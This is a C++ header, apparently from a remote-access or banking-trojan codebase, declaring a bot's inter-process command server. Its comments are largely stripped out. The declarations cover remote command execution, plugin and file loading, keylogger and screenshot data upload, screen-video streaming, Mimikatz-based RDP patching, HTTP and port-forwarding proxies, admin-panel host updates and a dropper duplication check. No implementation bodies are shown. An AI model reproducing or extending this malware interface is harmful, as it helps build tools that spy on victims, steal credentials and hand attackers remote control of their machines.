#pragma once

#include "core\pipe.h"
#include "core\vector.h"
#include "core\http.h"

class ManagerServer : public PipeServer
{

		//      
		struct PipeInet
		{
			char name[32];
			int priority;
		};
		// ,       
		//     
		#pragma warning ( disable : 4200 )
		struct SharedFile
		{
			char name[128];
			int c_data;
			byte data[0];
		};

		//     
		struct Redirect
		{
			char name[32];
			int logId;
		};

		Vector< MovedPtr<PipeInet> > pipesInet; // ,      
		Vector< MovedPtr<SharedFile> > sharedFiles; // ,   
		Vector< MovedPtr<Redirect> > redirects; //    
		int currPipeInet; //     
		StringBuilderStack<48> pipeTaskServer; //   
		StringBuilderStack<48> pipeVideoServer; //   
		StringBuilderStack<48> pipeMonProcesses; //   

		Mem::Data result; //    

	public:

		enum 
		{
			CmdReg = 1,			//       
			CmdGetCmd = 2,		//     
			CmdSendData = 3,	//   
			CmdCmdExec = 4,		// 
			CmdLoadFile = 5,	//    
			CmdLoadPlugin = 6,	// 
			CmdRegTask = 7,		//    ()
			CmdRegVideo = 8,	//  
			CmdVideo = 9,		// 
			CmdVideoStop = 10, 	//  
			CmdAddSharedFile = 11, //  
			CmdGetSharedFile = 12, //   
			CmdSendFileToVideoServer = 13, //    
			CmdMimikatzPatchRDP = 14,	// RDP  mimikatz
			CmdVideoServerTunnel = 15,	//      
			CmdHttpProxy = 16,		// http proxy
			CmdIpPortProxy = 17,	//     
			CmdSetProxy = 18,	//     
			CmdAddVideoServers = 19,//   
			CmdGetGlobalState = 20,	//   
			CmdSetGlobalState = 21,	//    
			CmdVideoSendFolderPack = 22, //       
			CmdVideoSendLog = 23,	//    
			CmdVideoCreateLog = 24,	//      
			CmdRegMonProcesses = 25,//   
			CmdAddStartCmd = 26,	//     
			CmdDelProxy = 27,		//  
			CmdGetProxy = 28,		//  
			CmdVideoServerSendStr = 29, //    
			CmdVideoServerConnected = 30, //   
			CmdVideoServerRestart = 31, //    
			CmdDupl = 32,			//.    AdminPanel
			CmdVideoSendFirstFrame = 33, //     
			CmdNewAdminka = 34,		//  
			CmdSendDataCrossGet = 35, //     GET  (       )
			CmdLog = 36,			//   ,    ( )
			CmdLoadPluginServer = 37, //   
			CmdCreateStream = 38, //    
			CmdSendStreamData = 39,	//   
			CmdCloseStream = 40,	//   ( )
			CmdRedirect = 41		//    
		};

	private:

		struct MsgReg //  CmdReg
		{
			char namePipe[32]; // 
			int priority; //   ,   ,   
		};

		virtual int Handler( Pipe::Msg* msgIn, void** msgOut );
		virtual void Disconnect();
		//        
		int GetNewPipeInet();
		//       ,      
		//       , -1 -    
		int GetPipeInet();
		//    
		void AddSharedFile( SharedFile* file );

	public:

		ManagerServer();
		~ManagerServer();

		//    ,      
		//           
		void HandlerCmdAdminPanel( Pipe::Msg* msg );
		//    ,     

		//        
		static bool RegAdminPanel( PipePoint* pipe, int priority = 0 );
		//   
		static bool RegTaskServer( PipePoint* pipe );
		//  
		static bool RegVideoServer( PipePoint* pipe );
		//   
		static bool ManagerServer::RegMonitoringProcesses( PipePoint* pipe );
		//       ,    serverAnswer,    func,
		// serverAnswer = 0,     Pipe::serverPipeResponse,        (Pipe::InitServerPipeResponse())
		static bool GetAdminCmd( Pipe::typeReceiverPipeAnswer func, PipePoint* serverAnswer = 0 );
		//   :
		//nameData -   (keylogger, screenshot), data -  , c_data -  
		//file = true -     ContentMultipart, false -  ContentWebForm
		//fileName -     
		static bool SendData( const char* nameData, const void* data, int c_data, bool file, const char* fileName = 0 );
		//  cmd
		static bool CmdExec( const char* cmd, int len = -1 );
		//    
		static bool LoadFile( StringBuilder& url, Pipe::typeReceiverPipeAnswer func, PipePoint* serverAnswer = 0, DWORD tag = 0 );
		//     (type = 0 - , 1 - AZ, -1 -   file  )
		//file -     
		static bool ExecRequest( int typeHost, StringBuilder& file, Pipe::typeReceiverPipeAnswer func = 0, PipePoint* serverAnswer = 0, DWORD tag = 0 );
		//     ,      
		static bool LoadPlugin( StringBuilder& plugin, Pipe::typeReceiverPipeAnswer func, PipePoint* serverAnswer = 0, DWORD tag = 0 );
		//    ,    ,   func      ,   
		static bool LoadPluginAdminka( StringBuilder& plugin, Pipe::typeReceiverPipeAnswer func, PipePoint* serverAnswer = 0, DWORD tag = 0 );
		//    ,    ,   func      ,   
		static bool LoadPluginServer( StringBuilder& plugin, Pipe::typeReceiverPipeAnswer func, PipePoint* serverAnswer = 0, DWORD tag = 0 );
		//    ,  pid = 0,    
		static bool StartVideo( const char* nameVideo, DWORD pid = 0 );
		//     
		static bool SendFirstVideoFrame();
		static bool StopVideo();
		static bool SendFileToVideoServer( const char* typeName, const char* fileName, const char* ext, const void* data, int c_data );
		static bool SendFileToVideoServer( const char* typeName, const char* fileName, const char* ext, const Mem::Data& data )
		{
			return SendFileToVideoServer( typeName, fileName, ext, data.Ptr(), data.Len() );
		}
		static bool SendFileToVideoServer( const char* typeName, const char* fileName, const char* ext, const StringBuilder& s )
		{
			return SendFileToVideoServer( typeName, fileName, ext, s.c_str(), s.Len() );
		}
		static bool SendFolderPackToVideoServer( const char* srcFolder, const char* dstFolder, const char* typeName, const char* fileName, int globalId = -1, Pipe::typeReceiverPipeAnswer func = 0, PipePoint* serverAnswer = 0, DWORD tag = 0 );
		static bool StartVideoServerTunnel( int port, const char* pipeName );
		static bool SendVideoLog( uint idStream, const char* text, int len = -1 );
		static bool CreateVideoLog( const char* nameLog, Pipe::typeReceiverPipeAnswer func, PipePoint* serverAnswer = 0, DWORD tag = 0 );
		static bool CreateVideoStream( int typeId, const char* typeName, const char* fileName, const char* ext,  Pipe::typeReceiverPipeAnswer func, PipePoint* serverAnswer = 0, DWORD tag = 0 );
		//  , wait -       
		static uint CreateVideoStream( int typeId, const char* typeName, const char* fileName, const char* ext,  int wait );
		static bool CreateVideoPipeStream( const char* idPipe, const char* namePipe, Pipe::typeReceiverPipeAnswer func, PipePoint* serverAnswer = 0, DWORD tag = 0 )
		{
			return CreateVideoStream( 8, idPipe, namePipe, 0, func, serverAnswer, tag );
		}
		static bool SendVideoStream( uint idStream, const void* data, int c_data );
		static bool CloseStream( uint idStream );
		static bool AddVideoServers( bool force, AddressIpPort* addr, int c_addr );
		static bool VideoServerRestart( const char* nameUser );
		//   -  
		static bool AddSharedFile( const char* name, const void* data, int c_data );
		inline static bool AddSharedFile( const char* name, const Mem::Data& data )
		{
			return AddSharedFile( name, data.Ptr(), data.Len() );
		}
		inline static bool AddSharedFile( const char* name, const StringBuilder& s )
		{
			return AddSharedFile( name, s.c_str(), s.Len() + 1 );
		}
		//    
		static bool GetSharedFile( const char* name, Mem::Data& data );
#ifdef ON_MIMIKATZ
		//    func
		static bool MimikatzPathRDP( Pipe::typeReceiverPipeAnswer func, DWORD tag, PipePoint* serverAnswer = 0 );
#endif
		static bool StartHttpProxy( int port );
		static bool StartIpPortProxy( int port, AddressIpPort& addr );
		//   (  )     http   
		static bool SetProxy( Proxy::Info* proxy, int c_proxy );
		static bool DelProxy( Proxy::Info* proxy, int c_proxy );
		//   
		static char GetGlobalState( int id );
		//   ,  
		static char SetGlobalState( int id, char v );
		static bool AddStartCmd( const StringBuilder& cmd );
		//         
		//dst = 0 -  , 1 -  , 2 -  , 3 -     
		static bool DuplData( uint hashData, int dst );
		//   
		static bool SetNewHostsAdminki( StringBuilder& s );
		//     
		static bool SendResExecutedCmd( const StringBuilder& cmd, int err, const char* comment = 0 );
		//    ,  flush = true,    ,   
		static bool SendLog( bool flush, int code = 0 );
};

//     
class GeneralPipeServer : public PipeServer
{
		virtual int Handler( Pipe::Msg* msgIn, void** msgOut );

	public:

		enum
		{
			CmdTask = 1, //  ,    ( data)    ( sz_data)    
			CmdInfo = 2, //   
			CmdGetProxy = 3 //    
		};

		struct InfoBot
		{
			DWORD pidMain; //  
			DWORD pidServer; //  
			char uid[48];
			char comment[1024]; //   
		};

	private:

		InfoBot info; //    

		Mem::Data result;

	public:

		GeneralPipeServer();
		~GeneralPipeServer();
};

//     
void ManagerLoop( bool runAdminPanel );
//    
DWORD WINAPI ManagerLoopThread( void* param );
// klgconfig.plug
void LoadKeyloggerConfig();
//  ,     
// true,      ,    
bool UpdateIsDublication( const char* dropper );
